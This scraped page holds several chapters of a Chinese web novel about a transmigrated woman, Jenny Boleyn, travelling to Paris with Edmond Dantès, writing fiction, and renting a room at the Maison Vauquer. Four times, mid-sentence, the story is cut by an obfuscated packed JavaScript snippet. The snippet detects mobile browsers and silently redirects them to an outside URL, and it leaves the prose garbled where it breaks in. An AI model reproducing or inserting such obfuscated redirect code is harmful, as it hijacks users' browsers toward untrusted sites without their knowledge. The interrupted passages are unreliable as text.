英国早在十七世纪就通过不得高于6%的《反高|利贷法》,可实际上的民间利息是法律规定的两倍以上。 一息(年利率12%)搁在起步就是15%的民间贷里已经算是非常厚道,至于说去更“规范”的大型银行…… 别开玩笑了!那是给你服务的吗?就算进了人家也有法子逼你认下超过两息利率的黑心贷款。 “不必了,这点钱还无需由你替我支付。”尽管珍妮知道对方肯定不会要她偿还,可是为了留下一个较好印象,她还是从口袋里摸出零散的生丁去找老板借人。 “您跟那位马赛的商人已经交易好了?”尽管是被姐姐看中的“未来之星”,但是老板仍旧收了珍妮的生丁并叫来酒馆的专用律师:“您可别被这人骗了。” 瞧着白天更显娇嫩的青春面孔,老板还想争取一下:“可怜的姑娘,你知道巴黎的妓|女是怎么来?没有人天生就是婊|子?” 珍妮很想怼他几句,但是理智告诉她要维持人设。 果然,老板还当珍妮是个被脸迷惑的普通少女,摆出一副恨铁不成钢的架势:“长点心吧!巴黎每年都有超过两位数的贵族情妇沦为妓|女,就算是些商人,铁匠,或是窝在贫民窟里发烂发愁的狗屎都会想方设法地拐个女人,玩腻后把尚有姿色的情人卖给老鸨为奴。” “我当巴黎已经步入文明社会。” “呵!文明的社会里还有战争,还有奴隶(法国在1848年才彻底告别奴隶制)。”老板对此嗤之以鼻:“穷苦的白人只不过是有公民身份的奴隶。小姐,你可是个英格兰佬,应该明白澳大利亚的女犯人是怎么来,有多少是真的该被流放千里。” 老板的心思是坏的,但是这话确实不错。 珍妮的脸上果然闪过一丝犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14265636|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但还是把老板的律师带回餐桌。 “蠢货!无可救药的蠢货。”老板气得好像忘了他姐姐也没安好心。 爱德蒙也不是白痴,更不是没眼睛去观察柜台的一举一动。 珍妮把律师带回暂时充作谈判桌的柜台时,爱德蒙还提醒他别忘了谁付生丁让他草拟合同。 “你看起来不像个被女人迷得神魂颠倒的大龄处|男。”律师见过耍花招把一起打工的同乡、女伴、表亲、甚至是亲生女儿卖给妓|院的无耻之徒,但是像爱德蒙般完全是做冤大头的生平罕见…… 更离谱的是作为乙方的珍妮.博林并不是这马赛商人的亲眷挚友,而是一个昨天见面的陌生人。 能给酒馆打长工的律师自然不是好货:“博林?这个姓可真是奇怪。” 酒馆的律师把珍妮的咖啡一饮而尽:“这好像是女巫的姓氏。” 他还想在珍妮面前显摆一下个人见识:“亨利八世的第二任王后安妮.博林的罪名之一就是用巫术蛊惑国王抛弃阿拉贡的凯瑟琳。” “可是国王接着娶了叫珍妮的姑娘。”对方的笑容戛然而止,“说得好像安妮.博林被处决后,亨利八世恢复了他可怜女儿的公主身份。” 律师把杯子放下的动静多少带了一丝个人恩怨:“女人还是愚蠢的好。” “然后教出一堆蠢货?”珍妮可没被他吓道:“先生,您觉得有多少男人不抽烟,不喝酒,更不会去疯狂迷恋高价烟土?” 律师的回答是一记狠瞪。 爱德蒙检查无误后才将其交给珍妮确认,也是这时,他又来了让人“无语”的一记操作:“去了巴黎再考虑签字。” 没喝酒的律师怀疑自己到了幻听的年纪:“你真是被下诅咒了。” 他把自己的工具收好,骂骂咧咧地回去地睡觉。 有了两张乙方没签的正式合同,珍妮准备告别与她同行几日的康利夫人。 得知这个她看好的“未来之星”找了“下家”,康利夫人也没灰心,留下一句:“有空就去克利夫街的沙龙坐坐。”便上了停在酒馆门口的公共马车。 珍妮则与爱德蒙一起坐上运货车。 老实说,隔夜的运货车味道堪比生鲜市场的下水道。 珍妮本想靠着车门眯上一会儿,结果被这味道熏得开始头晕,索性拿出笔纸开始转移注意。 “在写日记?”宾客的车厢只有两人,爱德蒙在珍妮之前已经找到自己的事做。 “不,是小说。” “小说?”爱德蒙也好奇这个还未褪去婴儿肥的姑娘能写什么小说:“我能看吗?” “你要看哪本?”珍妮从小皮箱的外层掏出绑好的书稿:“一本奇幻,一本推理。” “……听着就想翻上几页。”话虽如此,可他表现得像哄孩子。 ………… 一小时后。 “就算是给未来老板的特殊福利。”爱德蒙忍无可忍道:“亲爱的小姐,求您可怜我那已经七上八下的好奇心。” “黑水港的埃拉斯特伦家族在维尔利特城里会发生什么?他们的封君沃尔福特公爵能否躲过金色皇后和狐狸们的陷害?” 6.第 6 章 作为一个没啥技能又“博览群书”的普通人,珍妮所能想到的赚钱方法只有两条——要么是给有钱人家的小姐做家教,要么是当简.奥斯汀。 进厂打工是迫不得己的下下之选,和这时的工厂相比,现代的那些不交保险的黑心老板都能称作良心未泯。 当然,珍妮要是舍得下脸,克利夫大街上也有一条上升之道,而且作为小老板的康利夫人已经发来入职申请,就看珍妮愿不愿接。 思来想去,珍妮只好选择“前人”的创业之道——写小说吧!写的好像大仲马般每年的稿费就够中产混吃等死。只要珍妮学到这位“爱德蒙之父”的三成功力,不说做到一本小说吃一生,但是达到开工三个月,三月吃三年是不成问题。 所以在决定未来的发展之路后,珍妮的问题只剩两个——把书写好,找个可靠的后台帮忙联系出版。 前者自不必赘述,后者是现代人对当下环境的深深恶意——抛开珍妮的孤女身份不谈,就是现代,抢人作品的事也屡见不鲜。珍妮坚信自己若是冒冒失失地亲自投稿,最好的情况是报社的门卫不让她进或老板抢了她的作品,最坏的情况是自己被人关起来写一辈子的书。 简.奥斯汀能无忧无虑地写书是因她的父亲是当地有名的副主教,母亲是富商之女;《飘》的作者玛格丽特也出生名门,丈夫约翰是大公司的广告经理兼妻子的编辑;《弗兰肯斯坦》的作者玛丽.雪莱就更不提了,听夫姓就明白她想出书不难,更别提她母亲还是《女权辩护》的作者,父亲更是无政府主义的哲学家。 虽说在这识字率仅三成上下的十八世纪上叶,能读写就很说明经济实力,但是为了自身安全,珍妮表示能吃软饭又何必重蹈勃朗特三姐妹的覆辙? “小姐,富有才华的博林小姐。”爱德蒙见对方一直没啥反应,语气立刻又柔几分:“您至少把沃尔福特公爵的下场告诉我吧!”不然他的教养,他的思想,他的一些美好的品性都会消失在抓心挠肝的追更中。 “……”老实说在对方拿起未润色的初稿前,珍妮还很担心自己的文笔或是点子会有水土不服,因为她在高中时写过名著的短篇同人,结果被试毒的好友批评里头的中式味太浓了,割裂到读了一半就读不下去。 除了笔力略有不足,珍妮还很担心自己的竞争对手——有句话叫美术生到文艺复兴时只能去给大师们打打下手,同理,十八世纪的文坛也是群英荟萃,巨佬频出。索性老天还不至于将可怜的珍妮赶尽杀绝,让她直面“现代法国小说之父”和“通俗小说之王”的可怕压力,但是未免土著学了珍妮的套路并青出于蓝而胜于蓝,她这几日除了是与想拐她的康利夫人斗智斗勇,就是思考写啥才能一鸣惊人,同时也让学她的同行只能等她完结把套路复刻。 想想三成的识字率,珍妮不免压力山大。 僧多肉少,供需不平。 SO…… 加大药量! 下猛药! “沃尔福特公爵在公开审判里被疯王下令择日斩首,但是他在行刑前被发现死于皇后塔的秘密地牢,长子也是不知所踪。沃尔福特公爵的次子在深思熟虑后决定迎娶与他发生亲密关系的骑士遗孀,导致曾与北境联盟的埃拉斯特伦家族愤而离去,曾与公爵的长子定亲的瑞维尔家族也开始怀疑北境的信誉。” “……理查最后还是选了伊丽莎白?”爱德蒙虽做好理查会违约的心理准备,也知道这选择符合理查的人设,但是站在男主的角度与上帝视角,此时违约无异于是将沃尔福特家族与追随理查的北境封臣拖入深渊——毕竟这埃拉斯特伦的阿尔弗雷德可是珍妮指定的龙傲天,身兼“穿越者“,”中部大财主”,“造王者之孙”等多重BUFF。 别说是珍妮看好的韭菜群体,就连眼前的龙傲天之祖,大仲马的“亲儿子”都自动带入男主身份:“虽然我对沃尔福特公爵的高尚品格赞不绝口,也很欣赏理查没有放弃可怜的伊丽莎白,但……” 爱德蒙的眉毛因主人的纠结拧在一起,千言万语都化作一句:“您可真是才华横溢。” 塑造一个恶人不难,但塑造一个可怜的恶人真的需要一定技术。 伊丽莎白讨人厌吗? 从立场上看,敌方女眷的伊丽莎白天生该被读者厌弃,而且她的出身也很不光彩——父亲是商人,母亲是为爱私奔的贵族寡妇。先夫去后与一双儿女回家讨活,同时为了弟弟的性命而委身皇后的堂叔并被皇后的情夫派去勾引订婚的理查。 这样的女人无疑是被主流唾弃。 可是从母亲、妻子、姐姐、女儿,乃至纯粹的女人甚至是人的角度来看,她又是有可怜之处——作为家中的长女,她被父亲许给大她十五岁的贵族做续弦,未守寡前不仅要忍丈夫的粗鲁,还要忍受丈夫的亲眷嘲讽她的尴尬出身。好不容易等丈夫去了,继子又是心狠手辣的吝啬鬼,逼得她带孩子回到娘家生活。值得庆幸的是,娘家还算有点良心,对待她和外孙也是十分亲善。但也是这娘家人的亲善,导致她在父亲、弟弟被征召入伍后委身皇后的堂叔以换取他们不必冲在双王之战的最前线上,然后还被情人当作棋子埋在理查身边,伤害这个对她好的正直男人。 “听起来像爱德华四世与伊丽莎白.伍德维尔。”爱德蒙可不知珍妮下笔时对马丁老爷子疯狂道歉,只是觉得她和当下的作者一般,写小说会参考历史:“抛开二人的身份与故事的历史背景,他们也像斯巴达的海伦与特洛伊的帕里斯。” 说罢他还打了补丁:“只不过是有良心的帕里斯与更不幸的海伦。” “你不如把风流的帕里斯换成更有责任意识的赫克托尔。”珍妮的大纲是有参考乔治.马丁的成名之作,但就像是儒勒写了致敬偶像的《桑道夫伯爵》,她也不能直接照搬马丁的心血:“不过就理查捅出的篓子来看,说他是帕里斯也真没说错。” 听到对方承认自己的大胆猜测,爱德蒙想更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14295696|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进一步:“那阿尔弗雷德……” 想到男主的祖上是个投机倒把的商人,爱德蒙又露出一副意味深长的眼神。 著名的断头王后安妮.博林的父亲就和小说里的伊丽莎白般父亲是个商人,母亲是个贵族,而他自己又和贵族结婚,得以靠婚姻“洗血”成功。 当然除了两代人的努力上娶,博林的成功也有顺应玫瑰战争后的新朝需求——都铎家是合法化的私生子后代,即便娶了白玫瑰家的约克公主,也要防着不知所踪的塔中王子和红白双方的追随者们。 不幸的是,历时三十年的玫瑰战争把国内的贵族都卷入其中。 博林家虽母系高贵,父系却是低人一等的商人,所以在人才需求的都铎早期顺利崛起,然后因安妮.博林的倒台而快速衰落。 “……我有参考安妮.博林的经历,但是我家真的和她没有关系。” “博林”一姓本就是不是英国本土的贵族姓氏,甚至在诺曼底登陆前都没有这个姓氏的相关记载,属于标准的舶来品。 关于“博林”的姓氏来源有两种猜测——一种是此姓源于法国的布伦,一种是低地德语里的“公牛”变形。目前受到主流推崇的是第一种,但是因为“博林”一词有十种拼法,而且因为本土化和改姓的缘故让很多记载自相矛盾,所以珍妮说她家和历史上的断头王后关系不大还真没瞎说。 “不过要是多数几代,总能搭上一点关系。” 说到关系,珍妮倒是来了灵感:“你说给男主的家族安个外来者的身份如何?毕竟在阶级固化的大背景下,出个影响战争走向的大商人也太离谱了。” 爱德蒙抱胸在那儿思考了会儿,真心实意道:“我劝你别这么写。” “为何?” “因为科西嘉的矮子。” 珍妮立刻没话说了。 别说法国是个仅次罗马老祖的欧洲正统,就是在把“土著”的头衔彻底落到白人头上的阿美利卡,也出现过费雯丽演斯嘉丽让老美的星条旗彻底破防的小插曲——而这还是美国的原始股都是出自英格兰且已经步入二十世纪的还会有的排斥情况。 彼时的法国告别那位科西嘉的矮子还不过两年,你在这时写个祖上不是土著的男主是想干什么?有什么政治目的。 别说科西嘉是法国的一部分,就是在2024,也没多少科西嘉人觉得自己是法国人,闹独立的同时又不想真的一刀两断。 “你要是有成名的打算,最好把男主的祖上换成逃难到伊斯特大陆的韦斯特罪犯。”爱德蒙是真的在为珍妮考虑:“你是女孩,而且母亲还是因为反法联盟逃到英国的法国人。虽然法国还不至于将你这样的姑娘投入大牢,但是让你离开法国还是很轻松的。” 而且是声名狼藉地离开。 想到自己的切身遭遇,爱德蒙竟让人听出他的语气有点不对:“听我一句,里头涉及外乡人或让人觉得有在影射近代史的都要修改。” 7.第 7 章 “好吧!男主的家庭背景要改,涉及政治的故事线要改。”珍妮的墨水只有一瓶,而且还是最便宜的那种。颠簸的马车与为求高效的潦草字迹让修改的工作十分艰难,以至于在改了章后想看看修改的成果如何,却发现她好似一个文盲在努力破解达芬奇密码。 更糟糕的是廉价的墨水与更廉价的芦苇笔,薄得放在手上就能看清轮廓的黄色纸张加重了这修改版的识别难度——下划线上的补充内容挤在比它更潦草的原文空隙里,很快就因墨水的延展糊成一片。 看不下去的爱德蒙试图为她补救一下:“老天啊!你简直像开始学字的三岁小孩。” 爱德蒙改着改着,突然发现一处疑点—— 按理说一乡绅的女儿最常看的就是只有巴掌大小的祷告书,而且她们不仅会看,还会帮着抄录这种字体超小的祷告书,所以在经年累月的锻炼下,不可能有如此之差的书写习惯。 梅塞苔丝的受教水平肯定不如曾有私教的珍妮.博林,但是因为加泰罗尼亚人以“信仰虔诚,血统纯正”为傲,加上一个小渔村里也没有别的生计来源,所以阅读《圣经》的册子并帮忙抄录主的箴言是梅塞苔丝的日常工作。 珍妮一个富家小姐的书写习惯比渔女出身的梅塞苔丝还差,实在是让吃过大亏的爱德蒙不得不往坏处去想:“虽然原稿不必写的那么周正,但是为了方便修改,你也不能一笔写到章节末尾。” 补充的内容字迹潦草还能说是车上太癫,但将不在车上写的第一张给摆正看后,可以发现末行的首字比尾字高了两行之距,看起来像有人顶着下半张的后半段与上半张的后半段挤作一团。 珍妮不知依赖横线的书写习惯让爱德蒙对她的来历产生质疑,好在原身使她可以流利读写英法两语,文笔上虽略显不足,但是跟没有经过系统训练的土著一比,还是能看出她有不同凡响的阅读量与常人没有的美文意识。 “这不是想赶紧写完,赶紧卖钱。”珍妮不知爱德蒙对她的身份产生质疑,没多想地回答道:“不然我去工厂?或是找个家教的活计。” 好吧!这下子把爱德蒙给干沉默了。 “……你说得对。”再次去看改成浆糊的几张原稿,爱德蒙又良心痛得晚上醒来都想骂句“我真该死。” 他一过了二十五奔三十的大男人去怀疑一个孤身寻亲的十六少女? 光是想想就让他羞得不敢去看对面那张专注的脸。 “不如我来负责你的写作事业吧!”愧疚之下,爱德蒙想弥补一二:“别把书稿一股脑地投给报社,也别亲自去聊这事儿。” “是的,我很清楚这么做会遇到什么。”珍妮等的就是这话:“老天待我真是不薄,让您解了我的困境。” 说罢她还恰到好处地羞涩道:“实不相瞒,看到您对我的文章非常满意时,我心里是有些雀跃,同时也想厚着脸皮再求您。” 珍妮的手因惴惴不安而拧在一起,说起话来更是每吐一个字就要停两下——这种搁着一个人扒羊毛的感觉也太奇怪了,饶是知道爱德蒙的品性有两个世纪的读者把关,珍妮也会担心自己麻烦人到对方终于忍无可忍:“我……” 爱德蒙也知道她在担心什么,抢先一步让珍妮的愧疚落回胸腔:“你之前还调侃我是离了‘抱歉’就不会说话的人。” 他的眼睛明明不是大众公认的多情蓝眼,昨晚借着酒馆的煤气灯瞧着像是一滩死水,但是在这洒落车厢的早午光下,凝固成了疑似蜂蜜的剔透琥珀。 “……”珍妮突然理解原著的爱德蒙为何能在旧情人前疯狂装嫩。 “博林小姐?”爱德蒙见珍妮搁那儿直勾勾地看着自己,眼里的揶揄满得都要溢出来了。 “那不一样。”回神的珍妮脸颊烫得能烙烧饼:“那不一样。” 她低头用双掌贴着脸颊回道:“您可真是法国人。” 然后又在心里骂道:【可恶的法国人。】 终于轮到他们的货车接受检查,饶是珍妮心绪未定也不得不脑袋抬起,然后去找堂兄开的各种文件。 “别翻了,他们是不会看的。”爱德蒙的脑袋探出车窗,冲着明显不熟业务的税官喊道:“早上好,都普意先生。” 被叫的税官是个金发的年轻人,长相用一句话形容就是很不法式,应该流有东欧血统。 听到有人叫他名字,一大早便大汗淋漓地好似干了不少重活的都普意回头一瞧,仅是这一眼的功夫便眸中升起不明光芒:“汤德斯先生(爱德蒙的假身份),难得在早上遇见您。” 大名鼎鼎的基督山伯爵当然不会用他接近最大仇人的马甲去做鲜货生意,所以珍妮结识到的不是爱德蒙.唐泰斯,而是原著不曾存在的路易.汤德斯。 说到这个假身份也发生了一还算有趣的小插曲——他们签订明显是对女方有利的小合同时,珍妮还很好奇曾在原著裂了五个身份的爱德蒙会选择哪个身份与她签订契约,其中被她压了大码的是?“费伦奇公司的代理人汤姆森”。 结果就像《戴家楼》里的康利夫人不该出现在巴黎郊区,蝴蝶效应让提前出狱的爱德蒙塑造了个原著没有的假身份——马赛出身的渔获贩子。 考虑到这十九世纪已经步入相对成熟的海上霸权,搞不好这渔获贩子的主业走私,副业才是可以提供洗|钱服务的渔获生意。 “路易?”珍妮记得爱德蒙的入狱背景就是拿皇退位,波旁复辟,而波旁家的国王除了开国的亨利,余者有一个算一个的都叫路易:“这名字可太巴黎了。” “你的‘珍妮’也很英国。”爱德蒙随口问道:“全称是‘Jennifer ’吗?威尔士和美国的皇后区里挺多人叫这个名字。” “不,是法国的Jeanne。”聊个天还可以听到美国消息的珍妮来了追问的兴致:“你去过美国?” “没有,但是我的熟人里很多是做美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14330240|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洲生意。”彼时在位的美国总统是参加过独立战争的詹姆斯.门罗,其最有名的著作便是《门罗宣言》,标志着美国进入“带大棒”的孤立状态。 “你想去美国?”爱德蒙能听出珍妮的语气变化,觉得对方真是孩子,对未知抱有不切实际的浪漫幻想:“那里乱得和法国有得一拼。” 这可不是爱德蒙在胡说八道,而是美国确实处于百废待兴的慌乱期,不然也没门罗主义的生长土壤。 “你这样的姑娘要是喜欢美洲的咖啡或茶,大可找个代理人去买个庄园,何必真的移民美国。” 虽说是从英国人那儿获得独立,但是美国内部还有一堆问题——南北矛盾,废奴运动,印第安大屠杀…… 真想去美国还是等到林肯去世再去,估计那时还能投资刚起步的埃克森-美孚石油公司或通用电气,JP摩根。 一想到在二十一世纪会有个加入深层政府的博林家,珍妮不免笑出了声。 “……你笑什么?”爱德蒙在莽莽撞撞的少男时可没少见到梅塞苔丝莫名其妙地笑出了声。 “没什么,只是想到了高兴的事儿。”珍妮要是没记错的话,纽约是在十九世纪的中叶进入大开发时代。 要是她在地价不到19美元/亩的情况下疯狂囤地…… 珍妮的心脏砰砰直跳…… 然后就被残忍的理智彻底击碎。 想什么呢! 你又没钱,而且还是受人监护的弱势女性。 ………… “我的员工昨晚喝得烂醉如泥。”爱德蒙朝货车的驾驶位那儿瞪了一眼,摸出一枚半法郎的银币递给了他:“这一车的臭鱼不知要费多少力气。” 话已至此,都普意也不疑有他,象征性地扫了眼便放车同行。 珍妮见过法国的效率与令人无语的清廉程度:“巴黎的大门这么好进?” 她想说的是波旁家族这么心大?经历过了法国大革命与百日王朝后居然还敢放着检查的官吏贪污。 “钱又不能从地里长出。”爱德蒙倒已经习惯这种事情:“包税组织被物理取缔后,负责收税的官吏哪会为了不到一千法郎的年薪拼命?” “法王不是保守派吗?怎么没有废掉现有的税收机构。”要知道这接替包税商的财政总局可是拿破仑的杰作。 “就是因为足够保守,所以才要握紧大权。”因为马车走得远了,爱德蒙才压低声道:“国王讨厌科西嘉人,但是对于科西嘉人的独|裁理念还是很支持的。”然而在政治手腕与军事才能上,前者肯定拍马不及。 “原谅那群为了半个法郎就敢放任进来的公务员吧!”爱德蒙的经历让他对官员没啥好感,但仅限于维尔福式的达官:“波旁们又不可信任资产阶级,所以除了随遇而安,就只剩下削减开支。” 随遇而安?怕不是在破罐子摔? 珍妮数着波旁结束的日子如是想到。 8.第 8 章 已经开始制造马甲的爱德蒙肯定不能陪着珍妮去找住处,或是干脆领她进门。 “我得去巴黎音乐学院那儿把这堆烂货处理掉。”爱德蒙在植物园的临近街道把珍妮放下,递给她张皱巴巴的名片:“圣-日内维新街的下段有个寡妇开的廉价公寓,你且在那儿等我忙完手头的事。” 因为有话嘱咐对方,爱德蒙把半个身子探出车窗,看得人很担心他从并不牢靠的窗框里被焦躁的马匹抖落出来:“我与你说的地方可以好好改改。” 这一路上过得那叫一个充实,以至于在告别时,她都忘了还有旧稿是在想看后续发的爱德蒙那儿。 “你还忘了一些东西。”爱德蒙旧稿卷着递给珍妮。 “谢谢。”珍妮接后来不及与对方告别,车夫便在一阵铃后快速驶走。 “倒也不必这么敬业。”珍妮被那一卷风似的货车尾尘熏得原地咳嗽不已,结果右手因此一歪,掉出藏在旧稿里一袋法郎。 “……”难怪要把卷起的旧稿以递匕首的方式递给自己。 珍妮的愧疚如潮水般涌上心头,手上更是忙不迭地把袋子收紧,连同那张名片一起放到里裙的小口袋里。 “这地真是难走的很。”巴黎自路易十四后就像建在市中心的十年危楼,明知已经不能加码,但是为了更大的利益而忽略这点,导致它的城市规划简直称得上一团乱麻——贫民窟与新兴的资产阶级富人区相聚不过一个街道,以至于在拉丁区的外缘可以看到的乞讨的小孩,蹲在墙角的牌子边等待生意的艺术家,以及聚着打量行人的街头混混。 这里距离路易十三的植物园和先贤祠,陆军医院都不算远,难怪爱写拉丁区的文学家对此地的描述呈现出了令人迷惑的两极分化。 珍妮按照名片上的地址找到了在街道尾端的带园子小楼。 这种有着剥落黄墙的小楼在周遭建筑的挤压下呈现出了一团死气,全靠扒着墙壁缝隙的葡萄藤来增添生命。 因为对着圣-日内维新街的小门挨着公寓厨房,所以当珍妮想从小园的栅门进去时,有个胖得小手臂被堆起的袖子箍成藕节的胖厨娘正开门扫出厨房的垃圾。 得亏珍妮多走几步,否则她的罩裙可就保不住了。 “要住宿?”胖厨娘在关门时看到正在打量招牌的珍妮。 “汤德斯先生介绍我来这里落脚。”珍妮把名片递给胖厨娘。 说是名片,其实就是裁成长条的小卡片上写着公寓的主人名与详细地址。 “嗯!确实是太太送给熟客的名片。”胖厨娘对“路易.汤德斯”没太深印象,但却知道能让吝啬的公寓主人舍出一张名片的熟客一定前途似锦。她抬起那赘皮甚多的眼睛打量面前的姑娘……谢天谢地,昨晚的休整让珍妮有空打理自己,顺带让酒馆的女侍帮忙熨好这身衣服。 人靠衣装马靠鞍。 胖厨娘对珍妮的态度热切起来:“你还是从小花园的栅门进去,我去通知伏盖太太。” 说罢便将后门合上。 珍妮盯着门口的垃圾思考了会儿,最后穿过转角处的花园敲响公寓大门。 “伏盖楼啊!”公寓的正面错落着和老女人的牙齿般边缘不齐的各层窗户。 虽然没有来过此地,可是看过《人间喜剧》的珍妮对此并不陌生。 没记错的话,巴尔扎克和大仲马的关系并不算好,但相性极差的两人却是文坛上的“双胞胎”——一样的饕餮,一样的放荡,一样的挥金如土,一样的高产。 珍妮没有感叹多久便听到门后传来一阵急促的脚步声,不一会儿就看到一张被花边脱落的网纱帽挤得快要溢出来的肥胖脸蛋。 如果说胖厨娘的圆润还有几分可爱,那么这个老妇人的肥胖便与圆弧的线条没有干系,而是那种松垮的,兜不住的苍白虚弱:“快进来吧!我可爱的姑娘。” 她像一个善解人意的老祖母般招呼着让珍妮进了一楼客厅:“巴黎的春天可不好受,冷不冷,热不热,围巾上的汗往水池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376083|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拧都成细流,但脚上穿了再多的毛袜也无济于事。” 公寓里比外面更冷,但客厅的壁炉却是屋里最干净的家具。 “你说你是汤德斯先生介绍来的?”老妇人……也就是伏盖公寓的主人和那胖厨娘般将珍妮从上往下地打量了番:“你来巴黎是做什么的?” 珍妮知道对方想问“你是不是汤德斯先生的情妇”,盖因偏见使得人们见到一个年轻的女子和不是孩童的男人产生一点联系,都会往那下流的地方“好好”想想。 伏盖太太到底是要从她身上捞上一笔,所以不能直问她与爱德蒙是何种关系。 “寻亲。”珍妮和对爱德蒙般,冲着一脸探究样的伏盖太太选择性地说出真话:“我母亲是法国人。” 果然,伏盖太太估算了下珍妮的母亲有多大后表情变得热切起来:“可怜的女人。” 语气里没有怜悯,全是嫉妒。 “她的父母……我是说你外祖父母肯定花了不少力气才将女儿送去英国。” “是的,所以在她去世后,我才会来法国寻亲。”珍妮捡着好话去说,努力去壮个人声势:“我很幸运,半路遇上汤德斯先生。” 伏盖太太如珍妮想的脑补了些长辈们的人情往来:“汤德斯先生是极有人脉的,认识你的外祖家也不大奇怪。” 她像是有很强的分享欲般斜眼去瞅珍妮的脸色:“你知道吧!汤德斯先生在圣日耳曼区都结了朋友。” “唔……约莫是听过他在做生意时认识一个阔气的贵族。”珍妮哪知爱德蒙的身份构建进行到哪一步,只能根据原著的内容含糊应道:“好像是伯爵还是子爵?” “伯爵。”用徐娘半老来形容她都算是违心的伏盖太太露出了如少女般的娇羞之色:“圣日耳曼区最炙手可热的单身汉就是汤德斯先生的朋友。老天啊!这是个让腓力六世(中世纪的法国国王,绰号“幸运者”)都心生嫉妒的幸运儿,不仅自己是个伯爵,日后还要继承其父的伯爵之位。” 9.第 9 章 伏盖太太的话让珍妮的大脑短路了会儿,但是这搁对方眼里就是她被震惊到了,“你的母亲离开法国多少年了?” “自我出生起就没见过她回到法国。” “那你跟汤德斯先生是什么时候认识的?” “昨晚。”珍妮想着康利夫人和酒馆老板的背景,编造了段绝妙的假话:“您知道在巴黎的郊区有个提供住宿的小酒馆吧!酒馆的老板姓乔丹,有个在克利什街开沙龙的姐姐。” “是的,我知道她。”不提倒好,一提倒让伏盖太太的表情变得古怪起来:“你怎么和这种人扯上关系?” 珍妮听出伏盖太太对康利夫人的不满,但不知道她们两有什么过节:“路上只有两名女客,我自然就与她聊了一些见闻。” “em……她惯是会人前做样。”得益于良好的外貌与还算不错的衣服材质,伏盖太太又脑补了很多剧情:“哄你这种不知世事的小姑娘也手到擒来。” 她用一种苦大仇深的语气警告认识没一会儿的珍妮远离康利夫人:“你可别当她是正经的沙龙主人。” 饶是她想装出一副正义凛然的模样,但是她那一张一缩的鹦鹉鼻,随着嘴角的肌肉活动而透露出些尖酸刻薄的赘皮都显示出了她的嫉妒:“克利什街的婊|子都会下地狱。” 同是寡妇,同是操持着个人事业,但是跟年纪相仿的康利夫人相比,五十岁却只承认刚四十出头的伏盖太太远比她的真实年纪显得苍老,毕竟前者住在不说金碧辉煌,但也透露出高雅之气的古老公馆,而伏盖太太一直都与死相的老客窝在有着霉菌味的老公寓里用力拆着经线错乱的旧羊毛衫。 因为工作的特殊性与生活习性,她们两都十分苍白,只不过在克利什街的康利夫人是盘久后的大理石白,而伏盖太太就和她的老公寓与老租客般,脸上满是前面说过的死人白。 和需要维持姣好形象的前者比,永远穿着旧衣服并窝在客厅的伏盖太太也不可能维持与她收入相符的高贵体面。 更别提她总是一副愁苦样地抱怨“候鸟”(短租的大学生)吃得太多,绞尽脑汁地从边角刮油的吝啬作风也不支持她的身心匹配她的真实年纪。 珍妮读过不知谁译的《高老头》,觉得这位圣-日内维斯街的包租婆与还在乡下研究酒桶的葛朗台适配极了。不过这种突然冒出的拉郎念头很快就被原著的设定打消得一干二净——伏盖太太只是想省自己的钱,然后用别人的钱来撑起自己的贵妇生涯。没记错的话,葛朗台的原始金里就有他岳母以及妻子外公的遗产,结果这没良心的吝啬鬼在妻子病时还不愿给可怜的女人请个医生。 伏盖太太若是真与葛朗台成了一对,估计她这小公寓的所有权就保不住了。 珍妮没有对此做出任何评价,只是询问她住哪间? “公寓的二楼、三楼,以及四楼的大房间都属于客房。”伏盖太太领着珍妮穿过客厅,上了在后厨与餐厅间的楼梯道:“四楼的大房间被军需官的遗孀包到去世,三楼只住了一个退休前吃公家饭的老人。” 伏盖太太没有在二楼停下:“我不喜欢那些那群吃了太多面包的候鸟,但是他们确实是有省心之处。” 说到这儿的伏盖太太表情一冷,显然想到某些旧事。” “你住这间。”她打开了右走廊的一扇房门。 三楼的房间每月要花七十二法郎,这还不算每月三十的最低餐费。 